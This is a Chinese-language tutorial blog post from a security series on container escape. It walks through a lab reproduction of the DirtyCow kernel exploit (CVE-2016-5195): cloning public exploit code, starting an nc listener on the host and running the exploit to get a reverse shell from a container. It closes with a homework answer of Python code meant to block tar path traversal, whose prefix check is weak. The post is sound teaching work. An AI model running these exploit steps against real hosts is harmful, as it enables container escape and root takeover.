iT邦幫忙

2022 iThome 鐵人賽

DAY 18
1
影片教學

從建立環境、驗證漏洞、感受漏洞來學習資安系列 第 20

Day18 - 不要只看外表,容器逃逸,是由內而外逃脫出來的。(作業6解答)

  • 分享至 

  • xImage
  •  

「不要只看外表,美,是由內而外散發出來的。」 - 美女與野獸

Yes

  • 第18天了要來進行一個新的領域,叫做容器逃逸。前面有說過容器本質上就是將 linux kernel 的資源切割出來做虛擬化形成的環境,但如果在建立虛擬化環境時有些疏漏的地方就會導致可以進行容器逃逸,進而影響到執行容器的作業系統。本次熱身漏洞編號為CVE-2016-5195,相關資訊如下。

  • 漏洞相關資訊

    • 漏洞編號 : CVE-2016-5195 (DirtyCow)
    • CVSS 3.0 分數 : 7.8 HIGH
    • 漏洞類型 : 提權攻擊、容器逃逸
    • 使用版本資訊
      • Ubuntu: 14.04 LTS
      • Linux kernel: 4.4.0-31-generic
    • 漏洞先備知識 :
      • Docker 基礎概念
    • 漏洞收穫技能 :
      • 容器逃逸概念
  • 之前提過容器的 kernel 是與宿主機的 kernel 共享的,並使⽤Namespace與Cgroups這兩項技術進行隔離的效果。但一旦容器本身突破 namespace 的限制的話,就能夠達成容器逃逸攻擊,進而去影響宿主機本身。架構如下圖所示 :

https://ithelp.ithome.com.tw/upload/images/20221003/201483081OjeD9dhXx.png

容器逃逸的手法大致分為三類,這三類手法難易程度依序越來越難,分別如下 :

  1. Docker 設定不當
  2. Docker 相關組件程式的設計疏失
  3. Linux kernel 漏洞
  • 第一類的手法通常透過給予容器所有的 Capability,即這個容器的 ROOT 帳號與宿主機的 ROOT 的權限一致時,就可以透過各種花式手法進行容器逃逸,而這部分會是下次主要介紹的逃逸手法。

  • 第二類則是 Docker 相關組件的問題像是 containerd、runc 導致被逃逸。比方說 CVE-2019-5736 runc 問題,在我之前影片 解剖小鯨魚,來談談如何利用 runc 執行自己達成容器逃逸攻擊!!! CVE-2019-5736 有進行相關的解說。

  • 第三類則是因為 Linux kernel 有漏洞導致容器逃逸,但相關原理相對會比較複雜。目前相關的漏洞主要是跟 DirtyCow 有關,有興趣的話可以去研究 Dirty Cow(CVE-2016-5195)

  • 在下一次的影片我們會針對第一類的手法做比較詳細的解說,但這邊就先用 CVE-2016-5195 來做點熱身運動吧。

步驟如下 :

  1. 安裝 Ubuntu 14.04.4
  2. sudo apt-get update
  3. sudo apt-get install vim git gcc -y
  4. 參考 官網資訊 安裝 docker (記得要用 sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com 7EA0A9C3F273FCD8; sudo apt-get install -y docker.io; sudo usermod -aG docker 帳號名稱;)
  5. 安裝 docker-compose
sudo curl -L https://github.com/docker/compose/releases/download/1.29.2/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose ;
sudo chmod +x /usr/local/bin/docker-compose
  1. git clone https://github.com/gebl/dirtycow-docker-vdso.git
  2. docker run -it --rm ubuntu bash
apt-get update;
apt-get install -y build-essential nasm git xxd
mkdir /dirtycow-vdso
cd dirtycow-vdso
git clone https://github.com/scumjr/dirtycow-vdso.git
cd dirtycow-vdso
make
  1. 按照 github 專案的 dockerfile 進行環境重建
  2. 在宿主機啟動 nc -lvp 1234
  3. 在容器內 ./0xdeadbeef 宿主機IP:1234
  • 如此一來我們就完成了第三類的Linux kernel的容器逃逸手法,不過通常牽涉到 kernel 的原理都比較深奧,我也沒有多做研究,就交給有興趣的各位繼續深入下去。下次則會針對第一類 Docker 設定不當做個說明,以及建設相關的 CVE 作為說明。

回家作業解答

  • 官網在 tarfile extractall 的函式有說針對不信任的tar檔案需要做事前的檢查,請試著調整解壓縮的 Python 程式避免任意檔案寫入的問題。

  • 這題沒有標準答案,但我的作法是,先針對目標目錄(可以是工作目錄、解壓縮檔案目錄)取得絕對路徑,再把該路徑跟檔名組合,然後再用 Python 取得絕對路徑函式得到結果,最後在比較兩者的數值。如果得到的結果是目標目錄開頭,代表沒有跨越要存放的目錄位置,就允許它進行解壓縮。

import os
import tarfile
def py_files(members):
    cwd = os.getcwd()
    for tarinfo in members:
        print(tarinfo.name)
        abspath = os.path.abspath(tarinfo.name)
        if abspath.startswith(cwd) :
            print("hit",tarinfo.name,"=",abspath)
            yield tarinfo
        else :
            print("You are bad gay.")
tar = tarfile.open("test.tar")
tar.extractall(members=py_files(tar))
tar.close()

參考資料 :

  1. 容器壞壞
  2. 9 个容器环境安全红队常用手法总结

上一篇
Day17 - 我最喜歡做的事之一,就是對認為 Python 供應鏈很安全的傢伙說 "NO" (作業6)
下一篇
Day19 - 當容器逃逸的生活遇到瓶頸時,知道該怎麼做嗎?繼續用 unshare 就對了。(作業7)
系列文
從建立環境、驗證漏洞、感受漏洞來學習資安37
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言